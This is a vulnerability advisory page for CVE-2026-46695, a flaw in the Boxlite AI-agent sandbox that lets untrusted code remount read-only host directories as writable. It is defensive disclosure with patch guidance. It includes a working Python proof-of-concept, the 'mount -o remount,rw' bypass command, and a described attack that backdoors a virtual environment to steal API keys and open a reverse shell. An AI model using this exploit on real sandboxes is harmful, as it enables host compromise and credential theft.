Boxlite's virtiofs read-only volume enforcement is fundamentally broken — malicious code inside the sandbox can remount any 'read-only' host directory as read-write using a single `mount -o remount,rw` command, because CAP_SYS_ADMIN is granted by default to all containers and the underlying hypervisor (libkrun) never enforces read-only at the device level. This hits directly at AI agent sandboxing use cases: user code, Python virtual environments, credentials, and configuration files are routinely mounted read-only into Boxlite containers, and any attacker who can submit code for execution — the intended use case — can now plant backdoors, modify packages for supply chain compromise, or steal credentials with zero user interaction. CVSS 10.0 critical with a public PoC and no workaround available; the only fix is upgrading all Boxlite SDKs (PyPI, npm, Go, crates.io) to version 0.9.0, which enforces read-only at the virtiofs device level via libkrun 1.18.0.
What is the risk?
Critical (CVSS 10.0, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). The exploit is a single deterministic shell command requiring no race conditions, special timing, or prior knowledge — squarely in script-kiddie territory once the advisory is public. CAP_SYS_ADMIN is granted by default to all Boxlite containers, making bypass reliable and universal. A working PoC is published in the advisory. Not yet in CISA KEV, but given that the attack vector (executing arbitrary code in a sandbox) is precisely the intended use case of Boxlite, every production deployment is inherently exposed. The scope change (S:C) in the CVSS vector confirms the sandbox trust boundary is completely defeated, elevating this beyond a typical container misconfiguration.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| @boxlite-ai/boxlite | npm | < 0.9.0 | 0.9.0 |
| boxlite | cargo | < 0.9.0 | 0.9.0 |
| boxlite | pip | < 0.9.0 | 0.9.0 |
| boxlite-cli | cargo | < 0.9.0 | 0.9.0 |
| github.com/boxlite-ai/boxlite/sdks/go | go | < 0.9.0 | 0.9.0 |
Severity & Risk
Attack Surface
What should I do?
5 steps-
IMMEDIATE — Upgrade all Boxlite SDK installations to 0.9.0 or later: PyPI
pip install --upgrade boxlite, npmnpm install @boxlite-ai/boxlite@latest, Gogo get github.com/boxlite-ai/boxlite/sdks/go@v0.9.0, Rustcargo update -p boxlite. There is no workaround for pre-0.9.0 versions; the vulnerability is architectural. -
AUDIT — Identify all host directories currently mounted into Boxlite sandboxes, especially those containing code, credentials, virtual environments, or configuration files. Treat any such directory as potentially compromised if exposed to untrusted code while running a pre-0.9.0 version.
-
ROTATE — If API keys, credentials, or tokens were accessible from mounted directories, rotate them immediately regardless of whether compromise is confirmed.
-
DETECT — Deploy file integrity monitoring (FIM) on all directories previously mounted into Boxlite sandboxes; unexpected writes to those paths are a strong indicator of post-exploitation activity.
-
VERIFY — After upgrading, replay the PoC remount command (
mount -o remount,rw <mount_point>) from within a sandbox to confirm it now fails with EPERM.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-46695?
Boxlite's virtiofs read-only volume enforcement is fundamentally broken — malicious code inside the sandbox can remount any 'read-only' host directory as read-write using a single `mount -o remount,rw` command, because CAP_SYS_ADMIN is granted by default to all containers and the underlying hypervisor (libkrun) never enforces read-only at the device level. This hits directly at AI agent sandboxing use cases: user code, Python virtual environments, credentials, and configuration files are routinely mounted read-only into Boxlite containers, and any attacker who can submit code for execution — the intended use case — can now plant backdoors, modify packages for supply chain compromise, or steal credentials with zero user interaction. CVSS 10.0 critical with a public PoC and no workaround available; the only fix is upgrading all Boxlite SDKs (PyPI, npm, Go, crates.io) to version 0.9.0, which enforces read-only at the virtiofs device level via libkrun 1.18.0.
Is CVE-2026-46695 actively exploited?
No confirmed active exploitation of CVE-2026-46695 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-46695?
1. IMMEDIATE — Upgrade all Boxlite SDK installations to 0.9.0 or later: PyPI `pip install --upgrade boxlite`, npm `npm install @boxlite-ai/boxlite@latest`, Go `go get github.com/boxlite-ai/boxlite/sdks/go@v0.9.0`, Rust `cargo update -p boxlite`. There is no workaround for pre-0.9.0 versions; the vulnerability is architectural. 2. AUDIT — Identify all host directories currently mounted into Boxlite sandboxes, especially those containing code, credentials, virtual environments, or configuration files. Treat any such directory as potentially compromised if exposed to untrusted code while running a pre-0.9.0 version. 3. ROTATE — If API keys, credentials, or tokens were accessible from mounted directories, rotate them immediately regardless of whether compromise is confirmed. 4. DETECT — Deploy file integrity monitoring (FIM) on all directories previously mounted into Boxlite sandboxes; unexpected writes to those paths are a strong indicator of post-exploitation activity. 5. VERIFY — After upgrading, replay the PoC remount command (`mount -o remount,rw <mount_point>`) from within a sandbox to confirm it now fails with EPERM.
What systems are affected by CVE-2026-46695?
This vulnerability affects the following AI/ML architecture patterns: AI agent sandboxed code execution, multi-agent frameworks with isolated tool execution, AI coding assistants and notebook services, automated ML pipelines executing untrusted code, AI-powered code review and CI testing systems.
What is the CVSS score for CVE-2026-46695?
CVE-2026-46695 has a CVSS v3.1 base score of 10.0 (CRITICAL).
Technical Details
NVD Description
#### Summary Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code. One of the core security features claimed by Boxlite is the ability to mount host directories in read-only mode (read_only=True) into the VM via the virtiofs protocol (a host-guest shared filesystem protocol designed specifically for virtual machines), so that untrusted code can only read but not modify host data. Since the underlying function of the lightweight VM library libkrun used by Boxlite does not support mounting in read-only mode, Boxlite chooses to implement read-only by adding the MS_RDONLY flag when mounting the directory after the VM starts. However, because Boxlite does not restrict the kernel capabilities available inside the container, malicious code can remount the directory in rw mode, thereby gaining write access to that directory. This allows malicious code to perform arbitrary write operations on directories that should be read-only. In typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks. #### Details 1. User-Facing API Documents Read-Only Guarantee **File:** `boxlite/src/runtime/options.rs` **Function:** `VolumeSpec` (line 223) **Code:** ```rust /// Filesystem mount specification. pub struct VolumeSpec { pub host_path: String, pub guest_path: String, pub read_only: bool, // <-- operator sets this to restrict guest write access } ``` **Issue:** The `read_only` field is documented (and in user-facing guides) as preventing the guest from writing to the host directory. The guarantee is "Agent can read but not write." This expectation is not met. 2. read_only Stored in FsShare — Passed to krun Without Enforcement **File:** `boxlite/src/vmm/krun/engine.rs` **Function:** `Krun::create()` (line 334) **Code:** ```rust for share in config.fs_shares.shares() { let path_str = share.host_path.to_str().ok_or_else(|| { ... })?; tracing::info!( " {} → {} ({})", share.tag, share.host_path.display(), if share.read_only { "ro" } else { "rw" } // Logged but NOT passed to krun ); ctx.add_virtiofs(&share.tag, path_str)?; // <-- read_only silently dropped } ``` **Issue:** `share.read_only` is logged as "ro" or "rw" but is never passed to `add_virtiofs`. The actual hypervisor call receives only tag and host path. 3. Hypervisor FFI Has No Read-Only Parameter **File:** `boxlite/src/vmm/krun/context.rs` **Function:** `add_virtiofs()` (line 423) **Code:** ```rust pub unsafe fn add_virtiofs(&self, mount_tag: &str, host_path: &str) -> BoxliteResult<()> { let host_path_c = CString::new(host_path) .map_err(|e| BoxliteError::Engine(format!("invalid host path: {e}")))?; let mount_tag_c = CString::new(mount_tag) .map_err(|e| BoxliteError::Engine(format!("invalid mount tag: {e}")))?; check_status("krun_add_virtiofs", unsafe { krun_add_virtiofs(self.ctx_id, mount_tag_c.as_ptr(), host_path_c.as_ptr()) // No read_only parameter — libkrun exposes the share as read-write to the guest }) } ``` **Issue:** `krun_add_virtiofs` in the FFI (`deps/libkrun-sys/src/lib.rs:35`) takes only `ctx_id`, `mount_tag`, and `host_path`. There is no read-only flag. Libkrun exposes the virtiofs share to the guest with full read-write access at the device level. 4. Read-Only Enforcement Is Delegated to Guest Agent (Zone 0) **File:** `boxlite/src/volumes/guest_volume.rs` **Function:** `build_guest_mounts()` (line 184) **Code:** ```rust for entry in &self.fs_shares { let mount_point = entry.guest_path.as_deref().unwrap_or(""); volumes.push(VolumeConfig::virtiofs( &entry.tag, mount_point, entry.read_only, // <-- sent to guest agent as instruction entry.container_id.clone(), )); } ``` **Issue:** The `read_only` flag is sent to the guest agent via gRPC as a mount instruction. The guest agent is expected to pass `-o ro` to the mount syscall. But the guest runs Zone 0 code — untrusted, assumed malicious. A compromised or malicious guest simply ignores this instruction. 5. FFI Declaration Confirms No Read-Only Variant Exists **File:** `boxlite/deps/libkrun-sys/src/lib.rs` **Function:** `krun_add_virtiofs` extern declaration (line 35) **Code:** ```rust extern "C" { pub fn krun_add_virtiofs( ctx_id: u32, mount_tag: *const c_char, host_path: *const c_char, ) -> i32; // No krun_add_virtiofs_ro or equivalent declared } ``` **Issue:** There is no alternative read-only virtiofs FFI function declared. The entire codebase has no `krun_add_virtiofs_ro` or read-only parameter variant. Enforcement at the hypervisor level does not exist. 6. OCI Spec Builder Grants All Capabilities **File:** `guest/src/container/capabilities.rs` **Function:** `all_capabilities()` (line 19) **Code:** ```rust pub fn all_capabilities() -> HashSet<Capability> { [ // ... Capability::SysModule, // 16: load/unload kernel modules Capability::SysRawio, // 17: perform I/O port operations Capability::SysAdmin, // 21: various admin operations Capability::NetAdmin, // 12: network administration Capability::NetRaw, // 13: use RAW/PACKET sockets Capability::MacOverride, // 32: override MAC Capability::Bpf, // 39: BPF operations // ... all 41 capabilities ] .into_iter() .collect() } ``` **Issue:** Returns all 41 capabilities including the most dangerous ones, like `Capability::SysAdmin`. The function comment itself says "maximum compatibility but reduced security isolation." #### PoC 1. Install Boxlite following the official tutorial. 2. Run the following Python script: ```python import asyncio import os import tempfile import sys from boxlite import Boxlite, BoxOptions async def run(box, cmd): """Run shell command via native box.exec API.""" execution = await box.exec("sh", ["-c", cmd], None) stdout_stream = execution.stdout() stderr_stream = execution.stderr() stdout_lines, stderr_lines = [], [] async def read_stdout(): async for line in stdout_stream: stdout_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace')) async def read_stderr(): async for line in stderr_stream: stderr_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace')) await asyncio.gather(read_stdout(), read_stderr()) result = await execution.wait() return { 'exit_code': result.exit_code, 'stdout': ''.join(stdout_lines), 'stderr': ''.join(stderr_lines), } async def main(): # Step 1: Set up host directory with a read-only file host_dir = tempfile.mkdtemp(prefix="virtiofs_ro_poc_") ro_file = os.path.join(host_dir, "read_only.txt") with open(ro_file, "w") as f: f.write("original content\n") print(f"[+] Step 1: Host directory created: {host_dir}") print(f" read_only.txt: {open(ro_file).read().strip()}") print() guest_mount = "/mnt/sensitive" print(f"[+] Step 2: Launching BoxLite VM with:") print(f" volumes=[('{host_dir}', '{guest_mount}', True)] # read_only=True") print() try: runtime = Boxlite.default() opts = BoxOptions( image="alpine:latest", volumes=[(host_dir, guest_mount, True)], # <-- read_only=True memory_mib=512, cpus=1, auto_remove=True, ) box = await runtime.create(opts) async with box: print("[+] Step 3: VM booted. Checking virtiofs mount state...") r = await run(box, f"cat /proc/mounts | grep sensitive") print(f" /proc/mounts: {r['stdout'].strip()}") print() print("[+] Step 4: Testing write protection (initial state)...") r2 = await run(box, f"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?") out = r2['stdout'].strip() print(f" Write attempt: {out}") if "Read-only" in out or "read-only" in out: print(f" [OK] Initially blocked - client-side MS_RDONLY is active") print() print("[!!!] Step 5: ATTACK - Bypassing read-only via remount...") r3 = await run(box, f"mount -o remount,rw {guest_mount} 2>&1; echo remount_exit:$?") print(f" Remount result: {r3['stdout'].strip()}") r4 = await run(box, f"cat /proc/mounts | grep sensitive") print(f" Mount flags after: {r4['stdout'].strip()}") print() print("[!!!] Step 6: Writing to 'read-only' mount after bypass...") r5 = await run(box, f"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?") print(f" Write result: {r5['stdout'].strip()}") r6 = await run(box, f"cat {guest_mount}/read_only.txt") print(f" File content inside guest: {r6['stdout'].strip()}") print() print("[+] Step 7: HOST VERIFICATION") content = open(ro_file).read().strip() print(f" read_only.txt on host: {content}") print() print("FINAL RESULT:") print() if content == "modified content": print(" [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE") else: print(" [?] Bypass did not produce host-side writes.") except Exception as e: print(f"[-] Error: {e}") import traceback traceback.print_exc() finally: import shutil try: shutil.rmtree(host_dir) print(f"\n[+] Cleanup: removed {host_dir}") except: pass asyncio.run(main()) ``` This script mounts a directory in read-only mode into the sandbox and attempts to exploit the vulnerability to modify a file in that directory. Expected output: ``` $ python poc.py [+] Step 1: Host directory created: /tmp/virtiofs_ro_poc_93fdis21 read_only.txt: original content [+] Step 2: Launching BoxLite VM with: volumes=[('/tmp/virtiofs_ro_poc_93fdis21', '/mnt/sensitive', True)] # read_only=True [+] Step 3: VM booted. Checking virtiofs mount state... /proc/mounts: uservol0 /mnt/sensitive virtiofs ro,relatime 0 0 [+] Step 4: Testing write protection (initial state)... Write attempt: write_exit:1 [!!!] Step 5: ATTACK - Bypassing read-only via remount... Remount result: remount_exit:0 Mount flags after: uservol0 /mnt/sensitive virtiofs rw,relatime 0 0 [!!!] Step 6: Writing to 'read-only' mount after bypass... Write result: write_exit:0 File content inside guest: modified content [+] Step 7: HOST VERIFICATION read_only.txt on host: modified content FINAL RESULT: [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE [+] Cleanup: removed /tmp/virtiofs_ro_poc_93fdis21 ``` #### Impact Malicious code can perform arbitrary write operations on directories that should be read-only. In typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks. #### Score Severity: Critical, Score: 10.0, rationale as follows: - **AV:N** — Malicious code can be transmitted through networks, such as code written by large language models. - **AC:L** — No special conditions or race conditions are required. The attacker simply executes a `mount -o remount,rw` command inside the container. `CAP_SYS_ADMIN` is granted by default, and the attack is deterministic and trivially reproducible. - **PR:N** — The attacker needs the ability to execute arbitrary code inside the Boxlite sandbox, which is the fundamental use case of Boxlite (running untrusted code). - **UI:N** — No user interaction is required. Malicious code inside the container can autonomously exploit this vulnerability without any action from the host operator. - **S:C** — The vulnerability allows the attacker to cross the sandbox trust boundary and impact the host system. The vulnerable component is the Boxlite sandbox isolation mechanism, but the impacted component is the host filesystem. - **C:H** — With write access to host directories, the attacker can plant malicious code that will be executed by the host, leading to full compromise of sensitive host data including credentials, API keys, user code, and configuration files mounted into the container. - **I:H** — The attacker gains full write access to host directories explicitly intended to be read-only, allowing arbitrary modification of host files including planting backdoors, modifying virtual environments for supply chain attacks, and altering credentials and configuration files. - **A:N** — The vulnerability primarily enables unauthorized write access. The host system and Boxlite service continue to function; no distinct availability impact mechanism exists beyond secondary consequences of write access. #### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine CVE and credit are preferred. If there are any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com. #### Note Note that BoxLite follows the industry-standard **90+30 disclosure policy** (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that BoxLite reserves the right to disclose the details of the vulnerability 30 days after the fix has been implemented. #### Resolution Fixed in **v0.9.0** by PR #454 (commit `2c26968e`), released 2026-04-29, with defense-in-depth across three layers: 1. **Hypervisor-level read-only enforcement.** virtio-fs shares are now created via `krun_add_virtiofs3` (libkrun v1.18.0) with the `read_only` flag passed through, so the share is read-only at the virtio-fs device — before any request reaches the guest kernel. A malicious guest `mount -o remount,rw` can no longer reach host data even if it regained `CAP_SYS_ADMIN`. 2. **Capability restriction.** Containers now receive the 14 Docker-default capabilities, explicitly excluding `CAP_SYS_ADMIN` (and `CAP_NET_ADMIN`, `CAP_SYS_MODULE`, `CAP_SYS_RAWIO`, `CAP_MAC_OVERRIDE`), so the remount in the PoC fails with `EPERM`. 3. **TSI network isolation.** When the network is disabled, the implicit vsock is replaced with an explicit vsock with no TSI features, closing a related guest→host socket-forwarding path. Regression coverage: `src/boxlite/tests/security_enforcement.rs` (Rust core) and `sdks/python/tests/test_readonly_volume_remount.py` (Python SDK) both replay the PoC remount attack and assert it fails. **Remediation:** upgrade to boxlite **0.9.0 or later** (all SDKs: PyPI `boxlite`, npm `@boxlite-ai/boxlite`, Go module `github.com/boxlite-ai/boxlite/sdks/go`, crates.io `boxlite` / `boxlite-cli`). There is no workaround for affected versions; upgrade is required.
Exploitation Scenario
An adversary submits a seemingly benign Python data-processing script to an AI agent service backed by Boxlite. The script includes a background thread that executes `mount -o remount,rw /mnt/agent-env` — remounting the Python virtual environment directory that was passed as read-only into the sandbox. Using write access now obtained, the script replaces `requests/__init__.py` in the mounted venv with a backdoored version that exfiltrates the `OPENAI_API_KEY` environment variable and establishes a reverse shell on first import. When the host-side agent process next calls any HTTP-dependent tool (which imports `requests`), the backdoor executes with host-level privileges. The modification persists after the Boxlite container exits, affecting all future agent invocations that use the same venv. The entire attack requires no user interaction, no authentication beyond normal sandbox access, and completes silently in milliseconds.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N References
Timeline
Related Vulnerabilities
CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Supply Chain CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Supply Chain CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Leakage CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Data Leakage CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same attack type: Code Execution